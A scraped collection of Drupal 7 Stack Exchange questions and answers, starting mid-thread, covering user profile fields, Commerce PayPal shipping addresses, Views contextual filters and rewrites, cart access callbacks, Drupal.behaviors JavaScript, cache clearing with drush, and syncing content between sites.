here's a snippet of code:

```
function all_data_form_submit($form, &$form_state) {

  $fname = $form_state['values']['field_first_name']['und'][0]['value'];
  $lname = $form_state['values']['field_last_name']['und'][0]['value'];

$edit = array(
  'name' => $form_state['values']['name'],
  'pass' => user_password(),
  'mail' => $form_state['values']['mail'],
  'init' => $form_state['values']['init'],
  'status' => 0,
  'access' => REQUEST_TIME,
    'field_first_name' => array(LANGUAGE_NONE => array(array('value' =>
$form_state['values']['field_first_name']))),

);

user_save(drupal_anonymous_user(), $edit);
<snipped>

```

# Answer
> 1 votes
It turns out that if you set your profile to be hidden in your module, you can't save any data to that profile.

# Answer
> 2 votes
If you insist use code I suggest below method

```
function all_data_form_submit($form, &$form_state) {
$fname = $form_state['values']['field_first_name']['und'][0]['value'];
$lname = $form_state['values']['field_last_name']['und'][0]['value'];
$name=trim($form_state['values']['name']);
$myuser=user_load_by_name($name);
if(!empty($myuser)){
        $edit = array(
                'field_first_name' => array(LANGUAGE_NONE => array(array('value' =>$form_state['values']['field_first_name']))),
                // .. and every field you want to save
                );
        user_save($myuser, $edit);
    }
}

```

# Answer
> 1 votes
Not enough points to comment yet, but make sure the Field UI module is enabled, then in /admin/config/people/accounts/fields you can add/remove as you see fit. When adding fields, there is an option to 'Display on user registration form.'

# Answer
> 0 votes
Save the new users with rudimentary data and then use Entity API.

I am sure this entity module exposes API to load and attach the other fieldable data and save user entities.

---
Tags: 7, forms
---


# Question
Title: How can I force users to input a shipping address when using the Commerce Paypal WPS submodule?
I just built a store in Commerce using Drupal 7 and I am taking payments by the Commerce PayPal WPS submodule. However, when I tested checkout, I found it was possible to buy a product without supplying a shipping address.

In the PayPal Express Checkout documentation, it shows there is an option for forcing users to provide an address. However, the WPS documentation is less comprehensive and does not include any information about whether it is possible to force a shipping address to be displayed or not.

# Answer
> 0 votes
Have you tested this:

You need to activate the Shipping pane under checkout process:

1. Go to Administration \> Store settings \> Advanced store settings \> Checkout settings (admin/commerce/config/checkout),
2. Check Shipping service under "Checkout pane configuration" or if you use recent version of DC move "Shipping information" pane from disabled panes section to Checkout section,
3. Save.

If you want to alter data before sending, use the hook\_commerce\_paypal\_wps\_order\_form\_data\_alter(). You need to fetch the customer shipping profile for the current order using commerce\_customer\_profile\_load() and add the values you need from the shipping profile to the $data array.

# Answer
> 0 votes
It turns out that there is a hook to override this. By default, Comerce tells PayPal not to collect a shipping address, but you can force this:

```
function MYMODULE_commerce_paypal_wps_order_form_data_alter(&$data, $order) {
  // Display a shipping address prompt at PayPal.
  $data['no_shipping'] = 0;
}

```

This way, you don't have to collect the shipping info at your site, but PayPal will still e-mail you the buyer's shipping address.

---
Tags: commerce, payment-gateways
---


title: Author ID mistaken with node id

text:
# Question
Title: Author ID mistaken with node id
I am making a website where certain users can create events. They can also create a page with information about their events in general. On the bottom of the general events page, I would like to display all events created by that user.

I am working with EVA do fetch all events. I thought I should make a contextual filter, targetting the author:id(110), but this doesn't work. When I debug, I notice that Views thinks the author id(should be 110) is the node id(=56). Am I doing something wrong?

Kind regards, Tom

# Answer
1. In the EVA Field display of the View you'll see a section there called "*Entity content settings*." Make sure the settings there are as follows:

a. Entity type: Node
b. Bundles: select the event type content type that you want to appear at the bottom.
c. Arguments: Choose: "Use tokens from the entity the view is attached to" and then add the following token (with brackets) where it asks for the token: \[node:author:uid\]

2. Now set the *contextual filter* for the EVA field display as follows: Author uid with the following setting: Provide default value: User ID from URL.
3. Optionally, if you want to include something like "Events created by Jane Smith" at the top of the EVA view, then you need to add a relationship to the User. Then in the "Fields" section add user name and set it to "Exclude from display." Create a header for the view and choose "Global text" and check on the functionality to allow the use of tokens in the text. The user name token will be \[name\].

That's it. You'll be good.

I think it is worth to note what's a bit confusing here. It might help you to remember next time. a. "User ID from URL" is really a misnomer. It's getting the User id from the node. The user id is not in the URL at all.
b. It feels like the filter/argument is being set twice; once in the Entity settings and then again in the Contextual filter settings.
> 0 votes

---
Tags: views
---


# Question
Title: Is there a way to do text substitution within fields in Views?
I usually find what I need in here without asking question but this time couldn't find anything.

I have a view which lists documents from a file field of one of the content types. This content type (Info Page) has a Title, Body, and file field. The file field can take up to 10 PDF documents. The end result is a list of all documents attached to all published Info Pages and each item is a direct link to the pdf file. These documents will be updated quite frequently and I want to make the update process as smooth as possible.

Here is what I'm struggling with. The names of the files attached to the document will have hyphens/dashes instead of spaces and possibly some other characters/words I would like to remove. I don't want the user to provide another Text in another field, instead I would like the link title to be generated form the file name with some characters substituted for spaces and possibly some words removed. Does anybody know of a module which would have such a functionality?

Help would be much appreciated. Thank You

Drupal 7.33 Views 7.x-3.8

# Answer
> 0 votes
Have a look in your view under Advanced -\> OTHER -\> Theme: \[Information\].

You'll see each field can be themed separately either across the board or in a set of themes, or on a specific theme, pick whichever file name best suits your needs and add a new file to your theme's template folder with that name.

You can use the link on the field name in that window to grab the default starting point for that field and then edit it.

Once you've created the file and put the default text in it, start playing around with preg\_replace(), this uses regular expressions to replace certain characters. Here's a starting point, it replaces hyphens and underscores with spaces in the $output variable (I think. My regex is a bit shaky):

```
preg_replace('/-|_/',' ',$output);

```

# Answer
> 0 votes
Use Views "Rewrite" functionality. You can rewrite every field when formatting it in the view field settings (look for the "Rewrite" collapsed field set after the label setting and open it up).

There you can use tokens, your own html, etc to create custom output. No PHP code is required.

NOTE: tokens are only available for fields above and including the one where you are rewriting. So rearrange fields so the one you are rewriting is last. And set the fields above to "exclude from display" if you'll be using its token in the rewrite (unless you want its value displayed twice).

In addition, do check out the Filefield Paths module. I can help you with renaming files when they are uploaded.

---
Tags: views, entities
---


# Question
Title: Function to determine whether my Cart is empty?
I want to set an access callback on a menu item (primary links) for the shopping cart so that it only displays when there is something in the cart. However, I can't find an obvious function to to this, and I don't know where to start with my own code.

Any suggestion is appreciated.

# Answer
Using the same technique as commerce\_cart\_block\_view (thanks to Ryan Szrama for the assist!), you'll need to:

1. Get the order using commerce\_cart\_order\_load, then check to see if there are no line items.
2. Apply the entity metadata wrapper to retrieve further wrappers for the entity properties
3. Count line items in the cart, filtering for products only

For the access callback itself, take a look at Do you have an example of hook\_menu() access callback? for several examples and links to documentation.

Therefore, the callback should be something like:

```
function MODULE_access_check() {
  global $user;
  if ($order = commerce_cart_order_load($user->uid)) {
    $wrapper = entity_metadata_wrapper('commerce_order', $order);
    return commerce_line_items_quantity($wrapper->commerce_line_items, commerce_product_line_item_types()) > 0;
  }
  return FALSE;
}

```
> 3 votes

# Answer
Apply this patch here then you can call `commerce_cart_is_cart_empty()` from your code:

```
if (!commerce_cart_is_cart_empty()) {
  // your code
}

```
> 1 votes

# Answer
Actually you might want to check the args, to avoid presenting the user with an access denied page when they remove the last item from their cart:

```
function MODULE_access_check() {
  global $user;
  if ($order = commerce_cart_order_load($user->uid)) {
    $wrapper = entity_metadata_wrapper('commerce_order', $order);
    $items = commerce_line_items_quantity($wrapper->commerce_line_items, commerce_product_line_item_types());
    return $items > 0 || arg(0) == 'cart';
  }
  return FALSE;
}

```
> 0 votes

---
Tags: commerce
---


# Question
Title: Question about Managing JavaScript in Drupal 7
If you go to https://www.drupal.org/node/756722#behaviors at Behaviors section you will see:

```
  (function ($) {
     Drupal.behaviors.exampleModule = {
     attach: function (context, settings) {
     $('.example', context).click(function () {
     $(this).next('ul').toggle('show');
  });
 }

```

};

})(jQuery);

I think 'example' should be the name of a class like:

```
   <p class="example"><?php echo click here?> <?p>

```

so when clicking on "Click here", the toggle will work. Am I right? And also what is 'ul' in $(this).next('ul').toggle('show');?

So if I have :

```
 for($b=1;$b<$number;$b++)
   {  ?>
      <p class="toggler" style="cursor:pointer;"><?php echo "Commentsfor Paragraph $b:" ."<br>" . "<br>" ; ?> </p>
     <div class="comment">
    <?php
      print render($p[$b]);
      ?>
     </div> <?php

      }

```

and what I want to hide or show is the in , then can I write:

```
      <script type="text/javascript">
       (function ($) {
         Drupal.behaviors.exampleModule = {
        attach: function (context, settings) {
         $('.toggler', context).click(function () {
          $(this).next('div').toggle('show');
        });
      }
     };

   })(jQuery);
 </script>

```

or can I mention the class or id of div in $(this).next('div').toggle('show'); , so that the data in that part will hide or show? I hope I am clear.

# Answer
Those examples are not complete working code examples.

They are just to illustrate that in Drupal 6 you did this:

```
Drupal.behaviors.exampleModule = function (context) {
  // Your code goes here.
}

```

And in Drupal 7 you would generally do this:

```
Drupal.behaviors.exampleModule = {
  attach: function (context, settings) {
    // Your code goes here.
  }
};

```

The rest of the code in those examples is not relevant.

However:

1. Yes, it means that if you click an element with the class "example" it will run the code in your click handler. Your example code is buggy though, it should be like this: `<p class="example"><?php echo 'click here'; ?> </p>`
2. The "ul" is referring to an unordered list element. So it will get the next ul from the element you clicked and toggle it.

\[EDIT\]

To answer your additional question about the example code:

> or can I mention the class or id of div in $(this).next('div').toggle('show'); , so that the data in that part will hide or show?

Yes you can specify any selector you want, for example:

```
$('.comment').toggle('show');

```
> 2 votes

---
Tags: javascript
---


title: Is flush and clear cache the same?

text:
# Question
Title: Is flush and clear cache the same?
Is flushing and clearing the cache the same? How should I I flush the cache?

It seems like the only available option for me is clear cache, but I saw a video tutorial which uses flush cache in Drupal 7. What will I do to avail this option?

# Answer
In this context, the English verbs "flush" and "clear" are equivalent.

However, I've never seen a command named "flush cache" in Drupal 7. Not having seen the video tutorial you mention, it is impossible to tell what was ment. In the standard GUI, the button "Clear all caches" (under *Home » Administration » Configuration » Development » Clear cache*) is (AFAIK) the *only* way to do it.

If you have *Drush* installed, you can do more or less the same thing using the CLI with the following command:

```
drush cache-clear all

```

The difference is that the command `drush cache-clear all` also clear its internal cache, and there may be subtle differences because the drush user and web-server user are different, and may therefore interact different with file permissions to caches in the file system, such as the *css* registry.

However, *Drush* also allows you to make more targeted cache clears, see: Making Targeted Drupal Cache Clears using Drush.
> 5 votes

---
Tags: caching
---


# Question
Title: Using Views to Display Taxonomy Terms Along with a single image field of the latest content type that has that taxonomy term
Let's say I have the following content type called Gallery that has an image field and a term reference field that can contain multiple terms from a single vocabulary.

In addition, I have several contents of these content types that share terms.

Would it be possible to create a view so that it satisfies the following conditions?

* List all terms from a certain vocabulary
* Have each term accompanied by an image (from the image field) from only the Gallery content type that uses that term
* Term and Image should be listed once. If the term is being used by more than one Gallery content, the term should appear with the image from the latest content using that specific term.

The first two conditions are very straightforward to accomplish, independently. But once I try to accomplish both at the same time, I end with a display of all images paired with a single term it's associated with.

If that image is tagged with three different terms, then that same image appears three times, each instance using each of the terms.

Further, if one term is used for x number of different content, then that term will appear x number of times.

Was just wondering if there's a way to set it up so that it's 1 term, 1 image (preferably from the latest content type).

# Answer
> 0 votes
Apparently there's a module called Views distinct that would eliminate duplicate entries due to having one field having the same values.

---
Tags: views, taxonomy-terms
---


# Question
Title: write data in another drupal website / rest
I need to implement the following setup: \- master site (drupal 7) \- child site (drupal 7)

User create/update nodes in the master site. Then the nodes should be copied to some child sites, depending on some selections. The records in the child site should be updated if they already exist. Also deleting should be possible. These sites are hosted at another hoster than the master website.

I was doing some research and found among other techniques the REST Services. Did I understand right, that with the REST services I can implement what I want? Or are there better alternatives?

thanks for any help

# Answer
Try the following modules.

Drupal Sync

> This module allows synchronizing content among multiple websites. Supported entity types: node and taxonomy, menu items.
>
> Many hooks were used during creation of the module. It allows widening synchronization functional by developing additional modules.

Deploy

> The Deploy module is designed to allow users to easily stage content from one Drupal site to another. Deploy automatically manages dependencies between entities (like node references). It is designed to have a rich API which can be easily extended to be used in a variety of content staging situations.
> 0 votes

---
Tags: 8
---